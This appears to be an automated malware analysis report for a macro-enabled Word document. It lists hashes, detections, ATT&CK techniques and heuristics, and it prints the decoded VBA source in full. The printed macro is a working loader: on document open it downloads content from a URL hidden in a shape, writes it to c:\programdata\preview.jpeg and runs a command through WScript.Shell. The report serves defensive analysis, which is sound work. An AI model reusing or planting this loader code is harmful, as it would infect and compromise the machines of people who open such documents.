Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 6c6e6aa4e47b0322…

MALICIOUS

Office (OOXML)

111.4 KB Created: 2020-08-10 09:39:00 UTC Authoring application: Microsoft Office Word 16.0000 First seen: 2020-09-07
MD5: 4a5603be55828eed04c8389f6a72f6d0 SHA-1: c4a054a0e46fe802aec6df508bd0b20fa96d637d SHA-256: 6c6e6aa4e47b032246f79762c5a40abced2f23ebf2569182eed159d06493c89b
330 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1059 Command and Scripting Interpreter T1105 Ingress Tool Transfer T1204.002 Malicious File

The sample contains VBA macros, specifically an AutoOpen macro, which is a common technique for executing malicious code upon document opening. The script uses `CreateObject("Scripting.FileSystemObject")` to write content to `c:\programdata\preview.jpeg` and `CreateObject("MSXML2.XMLHTTP60")` to download content from a URL. The `WScript.Shell` object is also utilized, indicating potential for further execution or system manipulation. This strongly suggests the document is a loader for a second-stage payload.

Heuristics 8

  • ClamAV: Doc.Malware.Generic-9762344-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Malware.Generic-9762344-0
  • VBA project inside OOXML medium 4 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • WScript.Shell usage critical OLE_VBA_WSCRIPT
    WScript.Shell usage
    Matched line in script
    Function ff37a4eb(ebd87d8d)
    Set eaffd164 = CreateObject("wscript.shell")
    Call eaffd164.exec(ebd87d8d)
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
    Dim fso As Object
    Set fso = CreateObject("Scripting.FileSystemObject")
    Dim oFile As Object
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    Attribute VB_Name = "eaa2ab34"
    Sub AutoOpen()
    Dim a2523891 As New f5cfecd8
  • External relationship high OOXML_EXTERNAL_REL
    External target in word/_rels/document.xml.rels: file:///C:\Builders\Framework\rels\builds\pack1\us.jpg
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.microsoft.com/office/word/2010/wordprocessingCanvas OOXML external relationship
    • http://schemas.microsoft.com/office/drawing/2014/chartexOOXML external relationship
    • http://schemas.microsoft.com/office/drawing/2015/9/8/chartexOOXML external relationship
    • http://schemas.microsoft.com/office/drawing/2015/10/21/chartexOOXML external relationship
    • http://schemas.microsoft.com/office/drawing/2016/5/9/chartexOOXML external relationship
    • http://schemas.microsoft.com/office/drawing/2016/5/10/chartexOOXML external relationship
    • http://schemas.microsoft.com/office/drawing/2016/5/11/chartexOOXML external relationship
    • http://schemas.microsoft.com/office/drawing/2016/5/12/chartexOOXML external relationship
    • http://schemas.microsoft.com/office/drawing/2016/5/13/chartexOOXML external relationship
    • http://schemas.microsoft.com/office/drawing/2016/5/14/chartexOOXML external relationship
    • http://schemas.openxmlformats.org/markup-compatibility/2006OOXML external relationship
    • http://schemas.microsoft.com/office/drawing/2016/inkOOXML external relationship
    • http://schemas.microsoft.com/office/drawing/2017/model3dOOXML external relationship
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsOOXML external relationship
    • http://schemas.openxmlformats.org/officeDocument/2006/mathOOXML external relationship
    • http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingOOXML external relationship
    • http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingOOXML external relationship
    • http://schemas.openxmlformats.org/wordprocessingml/2006/mainOOXML external relationship
    • http://schemas.microsoft.com/office/word/2010/wordmlOOXML external relationship
    • http://schemas.microsoft.com/office/word/2012/wordmlOOXML external relationship
    • http://schemas.microsoft.com/office/word/2018/wordml/cexOOXML external relationship
    • http://schemas.microsoft.com/office/word/2016/wordml/cidOOXML external relationship
    • http://schemas.microsoft.com/office/word/2018/wordmlOOXML external relationship
    • http://schemas.microsoft.com/office/word/2015/wordml/symexOOXML external relationship
    • http://schemas.microsoft.com/office/word/2010/wordprocessingGroupOOXML external relationship
    • http://schemas.microsoft.com/office/word/2010/wordprocessingInkOOXML external relationship
    • http://schemas.microsoft.com/office/word/2006/wordmlOOXML external relationship
    • http://schemas.microsoft.com/office/word/2010/wordprocessingShapeOOXML external relationship

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 1645 bytes
SHA-256: 00297be8301bf7522df754b0f0ae9c4eedb5b9e32a5a0ea3735438767cab8393
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "eaa2ab34"
Sub AutoOpen()
Dim a2523891 As New f5cfecd8
Dim f232148a As String
f232148a = ActiveDocument.Shapes(1).AlternativeText
bd86be42 = a2523891.f193999a(f232148a)
Dim fso As Object
Set fso = CreateObject("Scripting.FileSystemObject")
Dim oFile As Object
Set oFile = fso.CreateTextFile(e4b1b4b6)
oFile.WriteLine c347ffcf(bd86be42)
oFile.Close
a2523891.ff37a4eb cdca172b
End Sub

Attribute VB_Name = "e578d659"
Function e4b1b4b6()
e4b1b4b6 = "c:\programdata\preview.jpeg"
End Function
Sub c5616e8b()
End Sub
Function c347ffcf(d506f83a)
c347ffcf = StrConv(d506f83a, 64)
End Function
Function cdca172b()
cdca172b = ActiveDocument.Shapes(1).Title + " " + e4b1b4b6
End Function

Attribute VB_Name = "f5cfecd8"
Attribute VB_Base = "0{FCFB3D2A-A0FA-1068-A738-08002B3371B5}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = False
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
Function f193999a(a731b657)
Dim e4fabf69 As Object
Set e4fabf69 = New MSXML2.XMLHTTP60
e4fabf69.Open "GET", a731b657, False
e4fabf69.Send
'
With e4fabf69
f193999a = .responsebody
End With
End Function
Function ff37a4eb(ebd87d8d)
Set eaffd164 = CreateObject("wscript.shell")
Call eaffd164.exec(ebd87d8d)
End Function
vbaProject_00.bin vba-project OOXML VBA project: word/vbaProject.bin 18432 bytes
SHA-256: 4a5f935f607fc0d14fb06aa42598473ba9d71072de38c87561588a6823e42451
Detection
ClamAV: Doc.Malware.Generic-9762344-0
Obfuscation or payload: unlikely